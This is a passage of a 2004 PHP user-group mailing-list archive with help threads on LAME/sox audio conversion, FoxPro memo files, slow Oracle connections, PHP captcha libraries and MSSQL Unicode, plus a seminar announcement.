From joel at tagword.com Tue Jun 22 15:11:14 2004 From: joel at tagword.com (Joel De Gan) Date: Tue, 22 Jun 2004 15:11:14 -0400 Subject: [nycphp-talk] WAV to MP3 conversion with LAME In-Reply-To: References: Message-ID: <1087931473.7443.151.camel@bezel> What version of lame are you running? If older, have you tried newer versions, or tried recompiling it? On Tue, 2004-06-22 at 13:42, Stephen Musgrave wrote: > while LAME works "automatically", since it isn't recognizing the file, i've > attempted to force these numbers when converting in LAME. > > lame -s8-bitwidth8-b64-mm source.wav target.wav > > i've tried this several different ways, suppressed filters, etc, etc. -- joeldg - developer, Intercosmos media group. http://lucifer.intercosmos.net From stephen at musgrave.org Tue Jun 22 13:54:56 2004 From: stephen at musgrave.org (Stephen Musgrave) Date: Tue, 22 Jun 2004 13:54:56 -0400 Subject: [nycphp-talk] WAV to MP3 conversion with LAME In-Reply-To: <1087931473.7443.151.camel@bezel> Message-ID: Joel - The install is from an RPM installed by the hosting provider. Also, i'm wondering if you think that taking a listen to the source and target files would be of benefit? Here's the log output: Warning: corrupt or unsupported WAVE format Assuming raw pcm input file LAME version 3.96 MMX (http://www.mp3dev.org/) CPU features: MMX (ASM used), SSE, SSE2 Using polyphase lowpass filter, transition band: 17249 Hz - 17782 Hz Encoding 620.wav to 620.mp3 Encoding as 44.1 kHz 128 kbps j-stereo MPEG-1 Layer III (11x) qval=3 Frame | CPU time/estim | REAL time/estim | play/CPU | ETA 7/10 (70%)| 0:00/ 0:00| 0:00/ 0:00| 4.5714x| 0:00 average: 128.0 kbps MS: 10 (100.0%) Writing LAME Tag...done ReplayGain: -9.0dB On 6/22/04 3:11 PM, "Joel De Gan" wrote: > What version of lame are you running? > If older, have you tried newer versions, or tried recompiling it? > > On Tue, 2004-06-22 at 13:42, Stephen Musgrave wrote: >> while LAME works "automatically", since it isn't recognizing the file, i've >> attempted to force these numbers when converting in LAME. >> >> lame -s8-bitwidth8-b64-mm source.wav target.wav >> >> i've tried this several different ways, suppressed filters, etc, etc. > From csnyder at chxo.com Tue Jun 22 13:56:39 2004 From: csnyder at chxo.com (csnyder at chxo.com) Date: Tue, 22 Jun 2004 13:56:39 -0400 Subject: [nycphp-talk] WAV to MP3 conversion with LAME In-Reply-To: References: Message-ID: <1087926999.40d872d7eaa7f@webmail.tuffmail.net> Quoting Stephen Musgrave : > the problem is that the resulting MP3 file is noise (and the > duration of the file is also about 1/4 of the original). Make sure you are converting mono to stereo -- that was the cause of numerous woes when I tried some text-to-speech experiments a while back... See http://chxo.com/be2/20030806_2a0f.html for the whole sorry tale. From csnyder at chxo.com Tue Jun 22 13:57:53 2004 From: csnyder at chxo.com (csnyder at chxo.com) Date: Tue, 22 Jun 2004 13:57:53 -0400 Subject: [nycphp-talk] WAV to MP3 conversion with LAME In-Reply-To: <1087926999.40d872d7eaa7f@webmail.tuffmail.net> References: <1087926999.40d872d7eaa7f@webmail.tuffmail.net> Message-ID: <1087927073.40d8732169e1f@webmail.tuffmail.net> Quoting csnyder at chxo.com: > See http://chxo.com/be2/20030806_2a0f.html for the whole sorry tale. Or just skip to the bottom to find: sox -c 1 mono.wav -c 2 stereo.wav From joel at tagword.com Tue Jun 22 15:27:13 2004 From: joel at tagword.com (Joel De Gan) Date: Tue, 22 Jun 2004 15:27:13 -0400 Subject: [nycphp-talk] WAV to MP3 conversion with LAME In-Reply-To: References: Message-ID: <1087932433.7443.160.camel@bezel> Mind sending me that file... I will take a look at it and perhaps see if something is amiss. On Tue, 2004-06-22 at 13:54, Stephen Musgrave wrote: > Joel - > > The install is from an RPM installed by the hosting provider. Also, i'm > wondering if you think that taking a listen to the source and target files > would be of benefit? > > Here's the log output: > > Warning: corrupt or unsupported WAVE format > Assuming raw pcm input file > LAME version 3.96 MMX (http://www.mp3dev.org/) > CPU features: MMX (ASM used), SSE, SSE2 > Using polyphase lowpass filter, transition band: 17249 Hz - 17782 Hz > Encoding 620.wav to 620.mp3 > Encoding as 44.1 kHz 128 kbps j-stereo MPEG-1 Layer III (11x) qval=3 > Frame | CPU time/estim | REAL time/estim | play/CPU | ETA > 7/10 (70%)| 0:00/ 0:00| 0:00/ 0:00| 4.5714x| 0:00 > average: 128.0 kbps MS: 10 (100.0%) > > Writing LAME Tag...done > ReplayGain: -9.0dB > > > > > > On 6/22/04 3:11 PM, "Joel De Gan" wrote: > > > What version of lame are you running? > > If older, have you tried newer versions, or tried recompiling it? > > > > On Tue, 2004-06-22 at 13:42, Stephen Musgrave wrote: > >> while LAME works "automatically", since it isn't recognizing the file, i've > >> attempted to force these numbers when converting in LAME. > >> > >> lame -s8-bitwidth8-b64-mm source.wav target.wav > >> > >> i've tried this several different ways, suppressed filters, etc, etc. > > > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk -- joeldg - developer, Intercosmos media group. http://lucifer.intercosmos.net From suzerain at suzerain.com Tue Jun 22 14:17:42 2004 From: suzerain at suzerain.com (Marc Antony Vose) Date: Tue, 22 Jun 2004 14:17:42 -0400 Subject: [nycphp-talk] FoxPro FPT files In-Reply-To: <41EE526EC2D3C74286415780D3BA9F8702AEA290@ehost011-1.exch011.intermedia.ne t> References: <41EE526EC2D3C74286415780D3BA9F8702AEA290@ehost011-1.exch011.intermedia.ne t> Message-ID: Hi there: I'm working with data from a museum archival database (PastPerfect) that was created in FoxPro. I am not very familiar with FoxPro databases, and I am a little confused about what the different component files. Each 'table' seems to have an associated .DBF file and sometimes .FPT file. Initially, I was ignoring the .FPT files altogether, but there is some data that I need to parse out of this database that I can't find, and I am beginning to think that maybe it is stored in the .FPT files? The data I need to get to is generally longer description-type data, which I am not seeing in the DBF files. So...first of all...am I on the right track with trying to find my longer descriptions? (I have to ask that, because I am not quite sure what .FPT files are used for...the MSDN reference refers to them as 'memo files', but I am not sure what that means.) Secondly...anyone aware of a class or set of functions that can read these files? Anything that could help clear up my confusion is welcome. -- Marc Antony Vose http://www.suzerain.com/ Always remember to pillage BEFORE you burn From mikeh at dtev.com Tue Jun 22 14:26:08 2004 From: mikeh at dtev.com (mike hjorleifsson) Date: Tue, 22 Jun 2004 14:26:08 -0400 Subject: [nycphp-talk] FoxPro FPT files In-Reply-To: Message-ID: Foxpro files, depending on the version are usually in the following relationship .dbf -> main data file .fpt -> memo fields .cdx -> Index files .dbc -> data base containers I am using php on IIS on a win2k server, I created an odbc connection (system) on the server And can access these files read/write using the odbc connector in php -----Original Message----- From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] On Behalf Of Marc Antony Vose Sent: Tuesday, June 22, 2004 2:18 PM To: NYPHP Talk Subject: [nycphp-talk] FoxPro FPT files Hi there: I'm working with data from a museum archival database (PastPerfect) that was created in FoxPro. I am not very familiar with FoxPro databases, and I am a little confused about what the different component files. Each 'table' seems to have an associated .DBF file and sometimes .FPT file. Initially, I was ignoring the .FPT files altogether, but there is some data that I need to parse out of this database that I can't find, and I am beginning to think that maybe it is stored in the .FPT files? The data I need to get to is generally longer description-type data, which I am not seeing in the DBF files. So...first of all...am I on the right track with trying to find my longer descriptions? (I have to ask that, because I am not quite sure what .FPT files are used for...the MSDN reference refers to them as 'memo files', but I am not sure what that means.) Secondly...anyone aware of a class or set of functions that can read these files? Anything that could help clear up my confusion is welcome. -- Marc Antony Vose http://www.suzerain.com/ Always remember to pillage BEFORE you burn _______________________________________________ talk mailing list talk at lists.nyphp.org http://lists.nyphp.org/mailman/listinfo/talk From patrick.fee at baesystems.com Tue Jun 22 14:36:40 2004 From: patrick.fee at baesystems.com (Fee, Patrick J (US SSA)) Date: Tue, 22 Jun 2004 14:36:40 -0400 Subject: [nycphp-talk] FoxPro FPT files Message-ID: <728813C3358BF04CB3A3DA2341D44A71CBCAC3@e2k11.na.baesystems.com> Mike's right. The "memo fields" that he's talking about is the "longer description-type data" that you are searching for. One of FoxPro's biggest weakness AND strengths was in the fact that each component (table, indexes, forms, reports) was a separate file, unlike Access that keeps all components in a mdb (and an associated index file). You could split the files up in different locations or compile parts into a binary... and some other interesting manipulations. Conversely, everytime I wanted to archive a working project, I wound up needing to zip 30 or 50 files into a zip file. There are a couple of tools out there that will take FoxPro files and turn them into a Access or MySQl db. That won't solve all your issues... but it might allow you to see the data in a more comfortable format based on your previous experience. I'd be happy to give you the names of the tools if it would help. I can send them when I get home this evening. Patrick J. Fee 240-401-6820 -----Original Message----- From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org]On Behalf Of mike hjorleifsson Sent: Tuesday, June 22, 2004 2:26 PM To: 'NYPHP Talk' Subject: RE: [nycphp-talk] FoxPro FPT files Foxpro files, depending on the version are usually in the following relationship .dbf -> main data file .fpt -> memo fields .cdx -> Index files .dbc -> data base containers I am using php on IIS on a win2k server, I created an odbc connection (system) on the server And can access these files read/write using the odbc connector in php -----Original Message----- From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] On Behalf Of Marc Antony Vose Sent: Tuesday, June 22, 2004 2:18 PM To: NYPHP Talk Subject: [nycphp-talk] FoxPro FPT files Hi there: I'm working with data from a museum archival database (PastPerfect) that was created in FoxPro. I am not very familiar with FoxPro databases, and I am a little confused about what the different component files. Each 'table' seems to have an associated .DBF file and sometimes .FPT file. Initially, I was ignoring the .FPT files altogether, but there is some data that I need to parse out of this database that I can't find, and I am beginning to think that maybe it is stored in the .FPT files? The data I need to get to is generally longer description-type data, which I am not seeing in the DBF files. So...first of all...am I on the right track with trying to find my longer descriptions? (I have to ask that, because I am not quite sure what .FPT files are used for...the MSDN reference refers to them as 'memo files', but I am not sure what that means.) Secondly...anyone aware of a class or set of functions that can read these files? Anything that could help clear up my confusion is welcome. -- Marc Antony Vose http://www.suzerain.com/ Always remember to pillage BEFORE you burn _______________________________________________ talk mailing list talk at lists.nyphp.org http://lists.nyphp.org/mailman/listinfo/talk _______________________________________________ talk mailing list talk at lists.nyphp.org http://lists.nyphp.org/mailman/listinfo/talk From joel at tagword.com Tue Jun 22 16:19:38 2004 From: joel at tagword.com (Joel De Gan) Date: Tue, 22 Jun 2004 16:19:38 -0400 Subject: [nycphp-talk] WAV to MP3 conversion with LAME In-Reply-To: <1087927073.40d8732169e1f@webmail.tuffmail.net> References: <1087926999.40d872d7eaa7f@webmail.tuffmail.net> <1087927073.40d8732169e1f@webmail.tuffmail.net> Message-ID: <1087935578.19934.6.camel@bezel> In this case, his was in Microsoft U-law format.. lame expects PCM so you just do `sox foo.wav -f bar.wav` Which converts it to PCM then he can feed it through lame just fine. Ref: http://www.visual-mp3.com/mp3-to-wav/wav-format.html -joel On Tue, 2004-06-22 at 13:57, csnyder at chxo.com wrote: > Quoting csnyder at chxo.com: > > > See http://chxo.com/be2/20030806_2a0f.html for the whole sorry tale. > > Or just skip to the bottom to find: > > sox -c 1 mono.wav -c 2 stereo.wav > > > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk -- joeldg - developer, Intercosmos media group. http://lucifer.intercosmos.net From Cbielanski at inta.org Tue Jun 22 14:58:54 2004 From: Cbielanski at inta.org (Chris Bielanski) Date: Tue, 22 Jun 2004 14:58:54 -0400 Subject: [nycphp-talk] WAV to MP3 conversion with LAME Message-ID: Congrats to Joel on the kill ;) Thanks, Chris Bielanski Web Programmer, International Trademark Association, 1133 Avenue of the Americas, 33rd Floor New York, NY 10036 +1 (212) 642-1745, f: +1 (212) 768-7796 mailto:cbielanski at inta.org, www.inta.org INTA -- 125 Years of Excellence > -----Original Message----- > From: Joel De Gan [mailto:joel at tagword.com] > Sent: Tuesday, June 22, 2004 4:20 PM > To: NYPHP Talk > Subject: Re: [nycphp-talk] WAV to MP3 conversion with LAME > > > In this case, his was in Microsoft U-law format.. > lame expects PCM so you just do > `sox foo.wav -f bar.wav` > Which converts it to PCM then he can feed it through lame just fine. > > Ref: http://www.visual-mp3.com/mp3-to-wav/wav-format.html > > -joel From stephen at musgrave.org Tue Jun 22 15:11:06 2004 From: stephen at musgrave.org (Stephen Musgrave) Date: Tue, 22 Jun 2004 15:11:06 -0400 Subject: [nycphp-talk] WAV to MP3 conversion with LAME In-Reply-To: <1087935578.19934.6.camel@bezel> Message-ID: Joel, Chris & Chris - Thank you all very much for helping me along with this. We're having the SoX RPM installed and we should be on our way shortly. I will be sure this information gets shared onto the angel.com web site. Again, thanks. Stephen From csnyder at chxo.com Tue Jun 22 15:22:58 2004 From: csnyder at chxo.com (csnyder at chxo.com) Date: Tue, 22 Jun 2004 15:22:58 -0400 Subject: [nycphp-talk] WAV to MP3 conversion with LAME In-Reply-To: <1087935578.19934.6.camel@bezel> References: <1087926999.40d872d7eaa7f@webmail.tuffmail.net> <1087927073.40d8732169e1f@webmail.tuffmail.net> <1087935578.19934.6.camel@bezel> Message-ID: <1087932178.40d88712f0872@webmail.tuffmail.net> Yet again, I have occasion to say: "Don't attempt sound on Linux without sox." Someday this will all be easy. From d at tdavidvogel.com Tue Jun 22 16:25:07 2004 From: d at tdavidvogel.com (David Vogel) Date: Tue, 22 Jun 2004 16:25:07 -0400 Subject: [nycphp-talk] connecting to oracle w/ php In-Reply-To: <40D85F6F.6080108@magpie.com> References: <40D84727.5090909@tdavidvogel.com> <40D85F6F.6080108@magpie.com> Message-ID: <40D895A3.2040304@tdavidvogel.com> I'm using the IP. There's a similar delay in disconnecting from sqlplus only, connecting is normal. thanks, Dave Steve Manes wrote: > David Vogel wrote: > >> Just wondering if anyone with experience using php to connect to an >> oracle server has any insight into a problem I'm having. >> >> using PHP 4.3.2 on apache 1.3.27 to connect to oracle 8i on win2k >> OCIlogon() connects successfully but only after about 30 seconds. > > > Are you attempting to connect via an IP address or a domain name? > Maybe a slow DNS server? It sounds like an identd timeout though. Do > you have the same delay running 'sqlplus' from the command line on the > web server? > > > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > From mitchy at spacemonkeylabs.com Tue Jun 22 17:58:04 2004 From: mitchy at spacemonkeylabs.com (Mitch Pirtle) Date: Tue, 22 Jun 2004 17:58:04 -0400 Subject: [nycphp-talk] connecting to oracle w/ php In-Reply-To: <40D84727.5090909@tdavidvogel.com> References: <40D84727.5090909@tdavidvogel.com> Message-ID: <40D8AB6C.2070006@spacemonkeylabs.com> David Vogel wrote: > Just wondering if anyone with experience using php to connect to an > oracle server has any insight into a problem I'm having. > > using PHP 4.3.2 on apache 1.3.27 to connect to oracle 8i on win2k > OCIlogon() connects successfully but only after about 30 seconds. > > I never done much with oracle and I suspected a server config problem, > but the oracle guys from the company (diebold, ugh) who set up the > server disagree so I'm wondering if there are any known problems to > watch out for w/ php, env vars that may be set wrong or something like > that. I'm pretty sure it's not a network problem or anything, > connecting from diebold's front end is very fast, only having probs > from www script. Thoughts? OCI connections have a significant amount of overhead, and can cause noticeable performance hits as a result. My favorite solution to this dilemma is to set up sql relay, as it can cache your database connections - as well as give you a bit of added flexibility with switching database servers and platforms... http://sqlrelay.sf.net PHP-specific stuff here: http://sqlrelay.sourceforge.net/sqlrelay/programming/php.html Another option for you is to bypass the PHP->Oracle stuff and use an abstraction layer to manage that for you, one very popular one is ADOdb: http://adodb.sourceforge.net/ And on this very list is a very, VERY good guy and programmer that works on PEAR::DB: http://pear.php.net/manual/en/package.database.php ...although I assume that PEAR::DB uses the internally-supplied PHP to Oracle driver. Is that correct, Dan? -- Mitch From danielc at analysisandsolutions.com Wed Jun 23 01:01:27 2004 From: danielc at analysisandsolutions.com (Daniel Convissor) Date: Wed, 23 Jun 2004 01:01:27 -0400 Subject: [nycphp-talk] connecting to oracle w/ php In-Reply-To: <40D8AB6C.2070006@spacemonkeylabs.com> References: <40D84727.5090909@tdavidvogel.com> <40D8AB6C.2070006@spacemonkeylabs.com> Message-ID: <20040623050127.GA655@panix.com> On Tue, Jun 22, 2004 at 05:58:04PM -0400, Mitch Pirtle wrote: > > And on this very list is a very, VERY good guy and programmer that works > on PEAR::DB: Aw, shucks... > ...although I assume that PEAR::DB uses the internally-supplied PHP to > Oracle driver. Is that correct, Dan? Yes. I'm running Windows 2000 and Oracle 9.2. Connection times aren't noticeable. Here's my PEAR DB DSN for connecting: oci8://:@/ So, your system is having problems. Of course, WHAT problem is the question. The folks thus far have given very good suggestions. My only additional thought is a problem with the TNS listner. If I understand it correctly, there are two types of Oracle connections. One via a local socket (or maybe a TCP/IP connection) (which is how I believe I'm connecting) and then the other via this TNS dohickey, which I know nothing about. I hope someone fills in more information here and/or corrects me. If you do try DB, make sure you're running a current version (1.6.4). I suggest giving it a shot just to see if it connects normally or not. --Dan -- T H E A N A L Y S I S A N D S O L U T I O N S C O M P A N Y data intensive web and database programming http://www.AnalysisAndSolutions.com/ 4015 7th Ave #4, Brooklyn NY 11232 v: 718-854-0335 f: 718-854-0409 From danielc at analysisandsolutions.com Wed Jun 23 01:05:39 2004 From: danielc at analysisandsolutions.com (Daniel Convissor) Date: Wed, 23 Jun 2004 01:05:39 -0400 Subject: Out of Office AutoReply: [nycphp-talk] connecting to oracle w/ php In-Reply-To: References: Message-ID: <20040623050539.GA2741@panix.com> On Wed, Jun 23, 2004 at 01:01:49AM -0400, Phil Costa wrote: > I will be out of the office on vacation from June 23-25, ... snip ... Wow. Despite a few polite requests over several months to not use an auto-responder for mailing lists, this guy STILL doesn't get it... or just doesn't care... --Dan -- T H E A N A L Y S I S A N D S O L U T I O N S C O M P A N Y data intensive web and database programming http://www.AnalysisAndSolutions.com/ 4015 7th Ave #4, Brooklyn NY 11232 v: 718-854-0335 f: 718-854-0409 From ashaw at iifwp.org Wed Jun 23 10:17:26 2004 From: ashaw at iifwp.org (Allen Shaw) Date: Wed, 23 Jun 2004 10:17:26 -0400 Subject: Out of Office AutoReply: [nycphp-talk] connecting to oracle w/ php References: <20040623050539.GA2741@panix.com> Message-ID: <004201c4592c$cfca9610$7201a8c0@iifwp.local> If he's out of the office, does Phil even get our responses to his out-of-office messages? - Allen ----- Original Message ----- From: "Daniel Convissor" To: "NYPHP Talk" Sent: Wednesday, June 23, 2004 1:05 AM Subject: Re: Out of Office AutoReply: [nycphp-talk] connecting to oracle w/ php > On Wed, Jun 23, 2004 at 01:01:49AM -0400, Phil Costa wrote: > > I will be out of the office on vacation from June 23-25, > ... snip ... > > Wow. Despite a few polite requests over several months to not use an > auto-responder for mailing lists, this guy STILL doesn't get it... or just > doesn't care... > > --Dan > -- =========================================================== Allen Shaw IIFWP Data and IT Services http://www.iifwp.org From tgales at tgaconnect.com Wed Jun 23 10:24:17 2004 From: tgales at tgaconnect.com (Tim Gales) Date: Wed, 23 Jun 2004 10:24:17 -0400 Subject: [nycphp-talk] Karma Discounts on Security Seminar Message-ID: <002c01c4592d$c4973220$e98d3818@oberon1> There have some cancellations for the Security Seminar (given by Chris Shifflet) tomorrow evening from 6:00 - 8:45 at the Masonic Hall at 71 West 23rd St. directions at: (http://www.tgaconnect.com/web/ssdirect) This means there will be some (more) extra seats available. I can tell you I was more than a little annoyed with one or two people, who from the begging said that it would be great to have affordable PHP training -- we support you all the way (meaning go rent the facilities and we will show up) -- and now are not going to show. My initial reaction, in an attempt to turn this adversity (of people not showing) into an opportunity was to offer discounts. But after thinking about it for awhile, I realized that that idea would only make matters worse for training in the future. People would wait and not commit to coming to future seminars hoping to get in for a discounted price. That would make things considerably worse in trying to plan and schedule the events (that has been the major stumbling block so far in getting this seminar series going -- people not making a more definite commitment early enough to get things set up) So my new idea is 'karma discounts'. Here is how it will work: If you use the information you gain from the seminars in 3 hours of contribution to a participating open source imitative, you can receive up to a 50 percent discount on the price of admission to the upcoming seminar (and future seminars). The discounts will be ongoing in the future -- i.e. you don't have to wait until the last minute and see if there will be vacant seats (like flying standby or something like that). Sorry about the length of this post, but I want to note something interesting about karma. The law of karma, says: `for every event that occurs, there will follow another event whose existence was caused by the first, and this second event will be pleasant or unpleasant according as its cause was skillful or unskillful.' Of course the 'skill' being talked about there is really mental (and spiritual) attitude. But it makes for an interesting parallel meaning when applied to web development -- if you do something (create a web app) without the proper skill set the following (or resultant) event can be very very unpleasant. One last (thankfully -- I know this is too long) remark on karma for the people who are already planning to attend (mostly motivated, I realize, by trying to help get the training program off the ground): Thank you, and I hope that destiny, fate, or whatever you want to call it, boomerangs (as it often does) and (more than) repays you for your support. I have more than a strong inkling that attendees just might receive a lot more understanding than they 'bargained for' (it could happen). To close, let me quote Woody Allen's metaphysical words of wisdom: "Eighty percent of success (in life) is showing up." Woody Allen. T. Gales & Associates 'Helping People Connect with Technology' http://www.tgaconnect.com P.S. Anyone interested in coming to security seminar, please contact me off list.. Tim G. From sm11szw02 at sneakemail.com Wed Jun 23 10:54:51 2004 From: sm11szw02 at sneakemail.com (inforequest) Date: Wed, 23 Jun 2004 10:54:51 -0400 Subject: [nycphp-talk] can anyone recommend a good captcha? In-Reply-To: <002c01c4592d$c4973220$e98d3818@oberon1> References: <002c01c4592d$c4973220$e98d3818@oberon1> Message-ID: <23644-91154@sneakemail.com> Can anyone recommend a PHP captcha program? I am interested in hearing if you have actually used one, since there are many out there half-implemented or otherwise "experimental". Has anyone used http://codingtheweb.partners.phpclasses.org/browse/package/1569.html Thanks. From dtnghia at yahoo.com Wed Jun 23 11:03:53 2004 From: dtnghia at yahoo.com (T.N D) Date: Wed, 23 Jun 2004 08:03:53 -0700 (PDT) Subject: [nycphp-talk] unicode Message-ID: <20040623150353.88929.qmail@web51003.mail.yahoo.com> talk at lists.nyphp.org. Please help! How to write/read Unicode text to/from Microsoft SQL 2000 Server. Thank you Nghia __________________________________ Do you Yahoo!? Yahoo! Mail Address AutoComplete - You start. We finish. http://promotions.yahoo.com/new_mail From Cbielanski at inta.org Wed Jun 23 11:11:39 2004 From: Cbielanski at inta.org (Chris Bielanski) Date: Wed, 23 Jun 2004 11:11:39 -0400 Subject: [nycphp-talk] unicode Message-ID: Have you looked at http://us3.php.net/manual/en/function.utf8-encode.php ? Thanks, Chris Bielanski Web Programmer, International Trademark Association, 1133 Avenue of the Americas, 33rd Floor New York, NY 10036 +1 (212) 642-1745, f: +1 (212) 768-7796 mailto:cbielanski at inta.org, www.inta.org INTA -- 125 Years of Excellence > -----Original Message----- > From: T.N D [mailto:dtnghia at yahoo.com] > Sent: Wednesday, June 23, 2004 11:04 AM > To: talk at lists.nyphp.org > Subject: [nycphp-talk] unicode > > > talk at lists.nyphp.org. > > > Please help! > > How to write/read Unicode text to/from Microsoft SQL 2000 Server. > Thank you > > Nghia > > > > > > > __________________________________ > Do you Yahoo!? > Yahoo! Mail Address AutoComplete - You start. We finish. > http://promotions.yahoo.com/new_mail > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > From joel at tagword.com Wed Jun 23 12:49:38 2004 From: joel at tagword.com (Joel De Gan) Date: Wed, 23 Jun 2004 12:49:38 -0400 Subject: [nycphp-talk] can anyone recommend a good captcha? In-Reply-To: <23644-91154@sneakemail.com> References: <002c01c4592d$c4973220$e98d3818@oberon1> <23644-91154@sneakemail.com> Message-ID: <1088009378.19948.25.camel@bezel> There is one I wrote here http://lucifer.intercosmos.net/mail/ Which solves a lot of the issues I dealt with in breaking captchas on various sites to automate singins etc. That page is where my install of qmail sends people who are not in my whitelist. If you are interested in the code that produces the image. http://lucifer.intercosmos.net/mail/show/img.phps and the functions: http://lucifer.intercosmos.net/mail/show/functions.phps and then how to implement: http://lucifer.intercosmos.net/mail/show/index.phps Here is the overview and how I set it all up: http://lucifer.intercosmos.net/?view=SNIP&item=113 Cheers. -joeldg On Wed, 2004-06-23 at 10:54, inforequest wrote: > Can anyone recommend a PHP captcha program? I am interested in hearing > if you have actually used one, since there are many out there > half-implemented or otherwise "experimental". > > Has anyone used > http://codingtheweb.partners.phpclasses.org/browse/package/1569.html > Thanks. > > > > > > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk -- joeldg - developer, Intercosmos media group. http://lucifer.intercosmos.net From jonbaer at jonbaer.net Wed Jun 23 11:06:17 2004 From: jonbaer at jonbaer.net (Jon Baer) Date: Wed, 23 Jun 2004 11:06:17 -0400 Subject: [nycphp-talk] can anyone recommend a good captcha? In-Reply-To: <23644-91154@sneakemail.com> References: <002c01c4592d$c4973220$e98d3818@oberon1> <23644-91154@sneakemail.com> Message-ID: <40D99C69.7030305@jonbaer.net> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 There is a pretty good new one in the PEAR proposals .. http://pear.php.net/pepr/pepr-proposal-show.php?id=80 I have tinkered with it but have not plugged it in anywhere since I havent needed to use it yet ... but probably better to support PEAR stuff for the PHP group. (I think). - - Jon inforequest wrote: | Can anyone recommend a PHP captcha program? I am interested in hearing | if you have actually used one, since there are many out there | half-implemented or otherwise "experimental". | | Has anyone used | http://codingtheweb.partners.phpclasses.org/browse/package/1569.html | Thanks. | | | | | | | _______________________________________________ | talk mailing list | talk at lists.nyphp.org | http://lists.nyphp.org/mailman/listinfo/talk | | - -- pgp key: http://www.jonbaer.net/jonbaer.asc fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFA2ZxpQdvbi5oMr0cRAs1nAKDPAdPymAu3GcihpFZTuGlk1o7d8ACfWAcc Y7Hn0xLZ24N+fS4k3IuZN4A= =kBmA -----END PGP SIGNATURE----- From Rafi.Sheikh at Ingenix.com Wed Jun 23 12:12:25 2004 From: Rafi.Sheikh at Ingenix.com (Rafi Sheikh) Date: Wed, 23 Jun 2004 11:12:25 -0500 Subject: [nycphp-talk] PHP & MSSQL Message-ID: I also have a need for a pointer in terms of what is needed and which options to recompile PHP --with mssql. I looked at Freetds but not sure, can any one point me to a step by step article or knowledge base Using: Apache 1.3.29 PHP 4.3.4 On AIX 5.1 TIA This e-mail, including attachments, may include confidential and/or proprietary information, and may be used only by the person or entity to which it is addressed. If the reader of this e-mail is not the intended recipient or his or her authorized agent, the reader is hereby notified that any dissemination, distribution or copying of this e-mail is prohibited. If you have received this e-mail in error, please notify the sender by replying to this message and delete this e-mail immediately. From jayeshsh at ceruleansky.com Wed Jun 23 12:20:19 2004 From: jayeshsh at ceruleansky.com (Jayesh Sheth) Date: Wed, 23 Jun 2004 12:20:19 -0400 Subject: [nycphp-talk] can anyone recommend a good captcha? Message-ID: <40D9ADC3.9070303@ceruleansky.com> Hello, I have implemented an ASCII-art based CAPTCHA system to prevent my Wiki (tavi.sourceforge.net based) from being spammed by spambots. I have a post and code available on my weblog: http://www.moztips.com/index.php?id=222 I have used some external class(es) for the generation of ASCII art text (through the use of Figlet fonts) and other things. If my patch files don't make sense, please feel free to ask for a classification system. You can see an example of the code in action, but going to the following page and click on the "Edit this document" link on the bottom: http://www.moztips.com/wiki/index.pcgi?page=SandBox I have also implemented a logging mechanism that logs who made a mistake while entering a code, and when that mistake occured. Best Regards, - Jay From d at tdavidvogel.com Wed Jun 23 12:24:28 2004 From: d at tdavidvogel.com (David Vogel) Date: Wed, 23 Jun 2004 12:24:28 -0400 Subject: [nycphp-talk] connecting to oracle w/ php In-Reply-To: <20040623050127.GA655@panix.com> References: <40D84727.5090909@tdavidvogel.com> <40D8AB6C.2070006@spacemonkeylabs.com> <20040623050127.GA655@panix.com> Message-ID: <40D9AEBC.9010008@tdavidvogel.com> Thanks everyone for the suggestions. sql relay would be a good fix I think, but unfortunately isn't possible in the short term. I haven't been able to get PEAR::DB to work because the server I'm connecting to isn't in tnsnames on the webserver and so I need to use the full connect string. Is there a way to specify the full string w/ PEAR::DB? dv Daniel Convissor wrote: >On Tue, Jun 22, 2004 at 05:58:04PM -0400, Mitch Pirtle wrote: > > >>And on this very list is a very, VERY good guy and programmer that works >>on PEAR::DB: >> >> > >Aw, shucks... > > > > >>...although I assume that PEAR::DB uses the internally-supplied PHP to >>Oracle driver. Is that correct, Dan? >> >> > >Yes. > >I'm running Windows 2000 and Oracle 9.2. Connection times aren't >noticeable. Here's my PEAR DB DSN for connecting: >oci8://:@/ > >So, your system is having problems. Of course, WHAT problem is the >question. The folks thus far have given very good suggestions. My only >additional thought is a problem with the TNS listner. If I understand it >correctly, there are two types of Oracle connections. One via a local >socket (or maybe a TCP/IP connection) (which is how I believe I'm >connecting) and then the other via this TNS >dohickey, which I know nothing about. I hope someone fills in more >information here and/or corrects me. > >If you do try DB, make sure you're running a current version (1.6.4). I >suggest giving it a shot just to see if it connects normally or not. > >--Dan > > > From danielc at analysisandsolutions.com Wed Jun 23 12:31:24 2004 From: danielc at analysisandsolutions.com (Daniel Convissor) Date: Wed, 23 Jun 2004 12:31:24 -0400 Subject: [nycphp-talk] connecting to oracle w/ php In-Reply-To: <40D9AEBC.9010008@tdavidvogel.com> References: <40D84727.5090909@tdavidvogel.com> <40D8AB6C.2070006@spacemonkeylabs.com> <20040623050127.GA655@panix.com> <40D9AEBC.9010008@tdavidvogel.com> Message-ID: <20040623163124.GA16790@panix.com> Hi David: On Wed, Jun 23, 2004 at 12:24:28PM -0400, David Vogel wrote: > I haven't been able to get PEAR::DB to work because the server I'm > connecting to isn't in tnsnames on the webserver Perhaps that's the source of your delay? > Is there a way to specify the full string w/ PEAR::DB? Post the code you're using to connect. --Dan -- T H E A N A L Y S I S A N D S O L U T I O N S C O M P A N Y data intensive web and database programming http://www.AnalysisAndSolutions.com/ 4015 7th Ave #4, Brooklyn NY 11232 v: 718-854-0335 f: 718-854-0409 From d at tdavidvogel.com Wed Jun 23 12:40:22 2004 From: d at tdavidvogel.com (David Vogel) Date: Wed, 23 Jun 2004 12:40:22 -0400 Subject: 